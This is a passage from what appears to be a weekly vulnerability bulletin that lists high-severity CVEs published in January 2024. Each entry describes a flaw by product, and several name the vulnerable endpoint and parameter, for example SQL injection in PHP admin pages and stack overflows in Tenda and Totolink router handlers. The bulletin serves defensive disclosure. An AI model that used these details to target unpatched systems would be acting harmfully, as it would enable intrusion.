	20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).			
oretnom23 -- budget_and_expense_tracker_system	Budget and Expense Tracker System v1.0 is vulnerable to SQL Injection via /expense_budget/admin/?page=reports/budget&date_start=2023-12-28&date_end=	2024-01-16	7.2	CVE-2024-22628
oretnom23 -- house_rental_management_system	A vulnerability was found in SourceCodester House Rental Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file manage_user.php of the component Edit User. The manipulation of the argument id/name/username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250610 is the identifier assigned to this vulnerability.	2024-01-13	7.2	CVE-2024-0502
paxtechnology -- paydroid	PAX Android based POS devices with PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier can allow the execution of arbitrary commands with system account privilege by shell injection starting with a specific word. The attacker must have shell access to the device in order to exploit this vulnerability.	2024-01-15	7.8	CVE-2023-42136
paxtechnology -- paydroid	PAX Android based POS devices with PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier can allow for command execution with high privileges by using malicious symlinks. The attacker must have shell access to the device in order to exploit this vulnerability.	2024-01-15	7.8	CVE-2023-42137
paxtechnology -- paydroid	PAX A920 device allows to downgrade bootloader due to a bug in its version check. The signature is correctly checked and only bootloader signed by PAX can be used. The attacker must have physical USB access to the device in order to exploit this vulnerability.	2024-01-15	7.6	CVE-2023-4818
phpgurukul -- blood_bank_\&_donor_management_system	A vulnerability has been found in Blood Bank & Donor Management 5.6 and classified as critical. This vulnerability affects unknown code of the file /admin/request-received-bydonar.php. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250564.	2024-01-12	7.2	CVE-2024-0459
phpgurukul -- company_visitor_management_system	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file search-visitor.php. The manipulation leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251377 was assigned to this vulnerability.	2024-01-18	7.2	CVE-2024-0651
pivotal -- cloud_foundry_deployment	Cloud Foundry routing release versions from v0.163.0 to v0.283.0 are vulnerable to a DOS attack. An unauthenticated attacker can use this vulnerability to force route pruning and therefore degrade the service availability of the Cloud Foundry deployment.	2024-01-12	7.5	CVE-2023-34061
progress_software_corporation -- moveit_transfer	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10), 2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction. The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service.	2024-01-17	7.1	CVE-2024-0396
progress_software_corporation -- openedge	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker can formulate a request for a WEB transport that allows unintended file uploads to a server directory path on the system running PASOE. If the upload contains a payload that can further exploit the server or its network, the launch of a larger scale attack may be possible.	2024-01-18	9.1	CVE-2023-40051

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
progress_software_corporation -- openedge	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker who can produce a malformed web request may cause the crash of a PASOE agent potentially disrupting the thread activities of many web application clients. Multiple of these DoS attacks could lead to the flooding of invalid requests as compared to the server's remaining ability to process valid requests.	2024-01-18	7.5	CVE-2023-40052
pyload -- pyload	pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.	2024-01-18	9.6	CVE-2024-22416
qstar -- archive_storage_manager	QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 was discovered to contain a DOM Based Reflected Cross Site Scripting (XSS) vulnerability within the component qnme-ajax?method=tree_level.	2024-01-13	8.8	CVE-2023-51063
qstar -- archive_storage_manager	An authenticated remote code execution vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows attackers to arbitrarily execute commands.	2024-01-13	8.8	CVE-2023-51066
qstar -- archive_storage_manager	Incorrect access control in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows unauthenticated attackers to obtain system backups and other sensitive information from the QStar Server.	2024-01-13	7.5	CVE-2023-51065
qstar -- archive_storage_manager	An access control issue in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows unauthenticated attackers to arbitrarily adjust sensitive SMB settings on the QStar Server.	2024-01-13	7.5	CVE-2023-51070
rogierlankhorst -- burst_statistics_privacy-friendly_analytics_for_wordpress	The Burst Statistics - Privacy-Friendly Analytics for WordPress plugin, version 1.5.3, is vulnerable to Post-Authenticated SQL Injection via multiple JSON parameters in the /wp-json/burst/v1/data/compare endpoint. Affected parameters include 'browser', 'device', 'page_id', 'page_url', 'platform', and 'referrer'. This vulnerability arises due to insufficient escaping of user-supplied parameters and the lack of adequate preparation in SQL queries. As a result, authenticated attackers with editor access or higher can append additional SQL queries into existing ones, potentially leading to unauthorized access to sensitive information from the database.	2024-01-17	7.2	CVE-2024-0405
shopware -- shopware	Shopware is an open headless commerce platform. The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the "aggregations" object. The 'name' field in this "aggregations" object is vulnerable SQL-injection and can be exploited using time-based SQL-queries. This issue has been addressed and users are advised to update to Shopware 6.5.7.4. For older versions of 6.1, 6.2, 6.3 and 6.4 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.	2024-01-16	9.3	CVE-2024-22406
shopware -- shopware	Shopware is an open headless commerce platform. The implemented Flow Builder functionality in the Shopware application does not adequately validate the URL used when creating the "call webhook" action. This enables malicious users to perform web requests to internal hosts. This issue has been fixed in the Commercial Plugin release 6.5.7.4 or with the Security Plugin. For installations with Shopware 6.4 the Security plugin is recommended to be installed and up to date. For older versions of 6.4 and 6.5 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.	2024-01-16	7.6	CVE-2024-22408
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Login Page) of the vulnerable targeted system.	2024-01-17	7.5	CVE-2023-51740
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Password Reset Page) of the vulnerable targeted system.	2024-01-17	7.5	CVE-2023-51741
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Add Downstream Frequency parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the	2024-01-17	7.5	CVE-2023-51742

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system.			
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Set Upstream Channel ID (UCID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system.	2024-01-17	7.5	CVE-2023-51743
spider-themes -- eazydocs	The EazyDocs WordPress plugin before 2.3.6 does not have authorization and CSRF checks when handling documents and does not ensure that they are documents from the plugin, allowing unauthenticated users to delete arbitrary posts, as well as add and delete documents/sections.	2024-01-15	7.5	CVE-2023-6029
taokeyun-- taokeyun	A vulnerability was found in Taokeyun up to 1.0.5. It has been classified as critical. Affected is the function login of the file application/index/controller/m/User.php of the component HTTP POST Request Handler. The manipulation of the argument username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250584.	2024-01-13	7.3	CVE-2024-0479
taokeyun-- taokeyun	A vulnerability was found in Taokeyun up to 1.0.5. It has been declared as critical. Affected by this vulnerability is the function index of the file application/index/controller/m/Drs.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250585 was assigned to this vulnerability.	2024-01-13	7.3	CVE-2024-0480
tenda -- a15_firmware	A vulnerability was found in Tenda A15 15.13.07.13. It has been classified as critical. This affects an unknown part of the file /goform/setBlackRule of the component Web-based Management Interface. The manipulation of the argument deviceList leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250701 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	7.2	CVE-2024-0531
tenda -- a15_firmware	A vulnerability was found in Tenda A15 15.13.07.13. It has been declared as critical. This vulnerability affects unknown code of the file /goform/WifiExtraSet of the component Web-based Management Interface. The manipulation of the argument wpapsk_crypto2_4g leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250702 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	7.2	CVE-2024-0532
tenda -- a15_firmware	A vulnerability was found in Tenda A15 15.13.07.13. It has been rated as critical. This issue affects some unknown processing of the file /goform/SetOnlineDevName of the component Web-based Management Interface. The manipulation of the argument devName leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250703. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	7.2	CVE-2024-0533
tenda -- a15_firmware	A vulnerability classified as critical has been found in Tenda A15 15.13.07.13. Affected is an unknown function of the file /goform/SetOnlineDevName of the component Web-based Management Interface. The manipulation of the argument mac leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250704. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	7.2	CVE-2024-0534
tenda -- pa6	A vulnerability classified as critical was found in Tenda PA6 1.0.1.21. Affected by this vulnerability is the function cgiPortMapAdd of the file /portmap of the component httpd. The manipulation of the argument groupName leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250705 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	8.8	CVE-2024-0535
tenda -- w9_firmware	A vulnerability, which was classified as critical, has been found in Tenda W9 1.0.0.7(4456). Affected by this issue is the function setWrlAccessList of the component httpd. The manipulation of the argument ssidIndex leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been	2024-01-15	9.8	CVE-2024-0536

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	disclosed to the public and may be used. VDB-250706 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
tenda -- w9_firmware	A vulnerability, which was classified as critical, was found in Tenda W9 1.0.0.7(4456). This affects the function setWrlBasicInfo of the component httpd. The manipulation of the argument ssidIndex leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250707. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0537
tenda -- w9_firmware	A vulnerability has been found in Tenda W9 1.0.0.7(4456) and classified as critical. This vulnerability affects the function formQosManage_auto of the component httpd. The manipulation of the argument ssidIndex leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250708. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0538
tenda -- w9_firmware	A vulnerability was found in Tenda W9 1.0.0.7(4456) and classified as critical. This issue affects the function formQosManage_user of the component httpd. The manipulation of the argument ssidIndex leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250709 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0539
tenda -- w9_firmware	A vulnerability was found in Tenda W9 1.0.0.7(4456). It has been classified as critical. Affected is the function formOfflineSet of the component httpd. The manipulation of the argument ssidIndex leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250710 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0540
tenda -- w9_firmware	A vulnerability was found in Tenda W9 1.0.0.7(4456). It has been declared as critical. Affected by this vulnerability is the function formAddSysLogRule of the component httpd. The manipulation of the argument sysRulenEn leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250711. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0541
tenda -- w9_firmware	A vulnerability was found in Tenda W9 1.0.0.7(4456). It has been rated as critical. Affected by this issue is the function formWifiMacFilterGet of the component httpd. The manipulation of the argument index leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250712. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	9.8	CVE-2024-0542
themely -- theme_demo_import	Theme Demo Import WordPress plugin before 1.1.1 does not validate the imported file, allowing high-privilege users such as admin to upload arbitrary files (such as PHP) even when FILE_MODS and FILE_EDIT are disallowed.	2024-01-16	7.2	CVE-2022-1538
tianocore -- edk2	EDK2's Network Package is susceptible to a buffer overflow vulnerability via a long server ID option in DHCPv6 client. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability.	2024-01-16	8.3	CVE-2023-45230
tianocore -- edk2	EDK2's Network Package is susceptible to a buffer overflow vulnerability when processing DNS Servers option from a DHCPv6 Advertise message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability.	2024-01-16	8.3	CVE-2023-45234
tianocore -- edk2	EDK2's Network Package is susceptible to a buffer overflow vulnerability when handling Server ID option from a DHCPv6 proxy Advertise message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability.	2024-01-16	8.3	CVE-2023-45235
tianocore -- edk2	EDK2's Network Package is susceptible to an infinite loop vulnerability when parsing unknown options in the Destination Options header of IPv6. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Availability.	2024-01-16	7.5	CVE-2023-45232

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
tianocore -- edk2	EDK2's Network Package is susceptible to an infinite lop vulnerability when parsing a PadN option in the Destination Options header of IPv6. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Availability.	2024-01-16	7.5	CVE-2023-45233
totolink -- ex1800t_firmware	TOTOlink EX1800T V9.1.0cu.2112_B20220316 was discovered to contain a remote command execution (RCE) vulnerability via the telnet_enabled parameter of the setTelnetCfg interface	2024-01-12	9.8	CVE-2023-52026
totolink -- lr1200gb_firmware	A vulnerability, which was classified as critical, has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. This issue affects the function setSmsCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument text leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250787. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0571
totolink -- lr1200gb_firmware	A vulnerability, which was classified as critical, was found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument pppoeUser leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250788. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0572
totolink -- lr1200gb_firmware	A vulnerability has been found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this vulnerability is the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250789 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0573
totolink -- lr1200gb_firmware	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this issue is the function setParentalRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sTime leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250790 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0574
totolink -- lr1200gb_firmware	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been classified as critical. This affects the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250791. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0575
totolink -- lr1200gb_firmware	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been declared as critical. This vulnerability affects the function setIpPortFilterRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sPort leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250792. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0576
totolink -- lr1200gb_firmware	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been rated as critical. This issue affects the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument lang leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250793 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0577
totolink -- lr1200gb_firmware	A vulnerability classified as critical has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function UploadCustomModule of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument File leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250794 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0578
totolink -- n350rt	A vulnerability classified as critical was found in Totolink N350RT 9.3.5u.6265. This vulnerability affects unknown code of the file /cgi-bin/cstecgi.cgi of the component	2024-01-16	7.3	CVE-2024-0570

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Setting Handler. The manipulation leads to improper access controls. The attack can be initiated remotely. It is recommended to upgrade the affected component. VDB-250786 is the identifier assigned to this vulnerability.			
totolink -- x2000r_firmware	A vulnerability classified as critical was found in Totolink X2000R 1.0.0-B20221212.1452. Affected by this vulnerability is the function formMapDelDevice of the file /boafrm/formMapDelDevice. The manipulation of the argument macstr leads to command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250795. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-16	9.8	CVE-2024-0579
totolink -- x6000r_firmware	An issue discovered in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows attackers to run arbitrary code via the sub_410118 function of the shttpd program.	2024-01-16	9.8	CVE-2023-52041
totolink -- x6000r_firmware	An issue discovered in sub_4117F8 function in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the 'lang' parameter.	2024-01-16	9.8	CVE-2023-52042
traccar -- traccar	Traccar is an open source GPS tracking system. Prior to 5.11, Traccar is affected by an unrestricted file upload vulnerability in File feature allows attackers to execute arbitrary code on the server. This vulnerability is more prevalent because Traccar is recommended to run web servers as root user. It is also more dangerous because it can write or overwrite files in arbitrary locations. Version 5.11 was published to fix this vulnerability.	2024-01-15	9.8	CVE-2023-50729
tribe29 -- checkmk	Privilege escalation in mk_tsm agent plugin in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows local user to escalate privileges	2024-01-12	7.8	CVE-2023-6735
tribe29 -- checkmk	Privilege escalation in jar_signature agent plugin in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows local user to escalate privileges	2024-01-12	7.8	CVE-2023-6740
troglobit -- libeuv	uev (aka libuev) before 2.4.1 has a buffer overflow in epoll_wait if maxevents is a large number.	2024-01-12	9.8	CVE-2022-48620
verydows -- verydows	Verydows v2.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /protected/controller/backend/role_controller	2024-01-12	8.8	CVE-2023-51949
vinoj_cardoza -- 3d_tag_cloud	Cross-Site Request Forgery (CSRF) vulnerability in Vinoj Cardoza 3D Tag Cloud allows Stored XSS.This issue affects 3D Tag Cloud: from n/a through 3.8.	2024-01-17	7.1	CVE-2022-41990
vitejs -- vite	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers.	2024-01-19	7.5	CVE-2024-23331
vmware -- aria_automation/cloud_foundation	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows.	2024-01-16	9.9	CVE-2023-34063
vyperlang -- vyper	Vyper is a Pythonic Smart Contract Language for the Ethereum Virtual Machine. The `concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` doesn't properly adhere to the API of copy functions (for `>=0.3.2` the `copy_bytes` function). A contract search was performed and no vulnerable contracts were found in production. The buffer overflow can result in the change of semantics of the contract. The overflow is length-dependent and thus it might go unnoticed during contract testing. However, certainly not all usages of concat will result in overwritten valid data as we require it to be in an internal function and close to the return statement where other memory allocations don't occur. This issue has been addressed in commit `55e18f6d1` which will be included in future releases. Users are advised to update when possible.	2024-01-18	7.3	CVE-2024-22419
warfareplugins -- social_sharing_plugin_'swp_url'_social_warfare	The Social Warfare plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.5.2 via the 'swp_url' parameter. This allows attackers to execute code on the server.	2024-01-17	10	CVE-2021-4434

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wazuh -- wazuh	Wazuh is a free and open source platform used for threat prevention, detection, and response. This bug introduced a stack overflow hazard that could allow a local privilege escalation. This vulnerability was patched in version 4.5.3.	2024-01-12	7.4	CVE-2023-42463
webtoffee -- stripe_payment_plugin_for_woocommerce	The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 3.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	2024-01-19	9.8	CVE-2024-0705
wpdeveloper -- essential_blocks	The Essential Blocks WordPress plugin before 4.4.3 does not prevent unauthenticated attackers from overwriting local variables when rendering templates over the REST API, which may lead to Local File Inclusion attacks.	2024-01-15	9.8	CVE-2023-6623
wpexperts -- post_smtp_mailer	The POST SMTP Mailer WordPress plugin before 2.8.7 does not properly sanitise and escape several parameters before using them in SQL statements, leading to a SQL injection exploitable by high privilege users such as admin.	2024-01-15	7.2	CVE-2023-6620
wpfastestcache -- wp_fastest_cache	The WP Fastest Cache WordPress plugin before 0.9.5 does not escape user input in the set_urls_with_terms method before using it in a SQL statement, leading to an SQL injection exploitable by low privilege users such as subscriber	2024-01-16	8.8	CVE-2021-24869
wpforms -- wpforms_pro	The WPForms Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via form submission parameters in all versions up to, and including, 1.8.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-20	7.2	CVE-2023-7063
xorg -- xorg-server	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context.	2024-01-18	7.8	CVE-2024-0409
xorg-server -- xorg-server	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used.	2024-01-18	7.8	CVE-2023-6816
yugeshverma -- online_lawyer_management_system	A vulnerability was found in Project Worlds Lawyer Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file searchLawyer.php. The manipulation of the argument experience leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250603.	2024-01-13	9.8	CVE-2024-0498
yunyou -- cms	A vulnerability has been found in Yunyou CMS up to 2.2.6 and classified as critical. This vulnerability affects unknown code of the file /app/index/controller/Common.php. The manipulation of the argument templateFile leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251374 is the identifier assigned to this vulnerability.	2024-01-17	7.3	CVE-2024-0648
zhicms -- zhicms	A vulnerability classified as critical has been found in ZhiCms up to 4.0. This affects an unknown part of the file app/plug/controller/giftcontroller.php. The manipulation of the argument mylike leads to deserialization. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250839.	2024-01-16	7.3	CVE-2024-0603
abocms -- abo.cms	SQL Injection vulnerability in ABO.CMS v.5.9.3, allows remote attackers to execute arbitrary code via the d parameter in the Documents module.	2024-01-06	9.8	CVE-2023-46953
acme -- ultra_mini_httpd	A vulnerability was found in ACME Ultra Mini HTTPd 1.21. It has been classified as problematic. This affects an unknown part of the component HTTP GET Request Handler. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-249819.	2024-01-07	7.5	CVE-2024-0263
advancedcustomfields -- advanced_custom_fields	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in WP Engine Advanced Custom Fields (ACF).This issue affects Advanced Custom Fields (ACF): from 3.1.1 through 6.0.2.	2024-01-08	7.5	CVE-2022-40696
alekseykurepin -- pico_http_server_in_c	route in main.c in Pico HTTP Server in C through f3b69a6 has an sprintf stack-based buffer overflow via a long URI, leading to remote code execution.	2024-01-05	9.8	CVE-2024-22087

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
altassian -- bitbucket	An issue was discovered in savignano S/Notify before 2.0.1 for Bitbucket. While an administrative user is logged on, the configuration settings of S/Notify can be modified via a CSRF attack. The injection could be initiated by the administrator clicking a malicious link in an email or by visiting a malicious website. If executed while an administrator is logged on to Bitbucket, an attacker could exploit this to modify the configuration of the S/Notify app on that host. This can, in particular, lead to email notifications being no longer encrypted when they should be.	2024-01-09	8.3	CVE-2023-50931
altassian -- jira	An issue was discovered in savignano S/Notify before 4.0.2 for Jira. While an administrative user is logged on, the configuration settings of S/Notify can be modified via a CSRF attack. The injection could be initiated by the administrator clicking a malicious link in an email or by visiting a malicious website. If executed while an administrator is logged on to Jira, an attacker could exploit this to modify the configuration of the S/Notify app on that host. This can, in particular, lead to email notifications being no longer encrypted when they should be.	2024-01-09	8.3	CVE-2023-50930
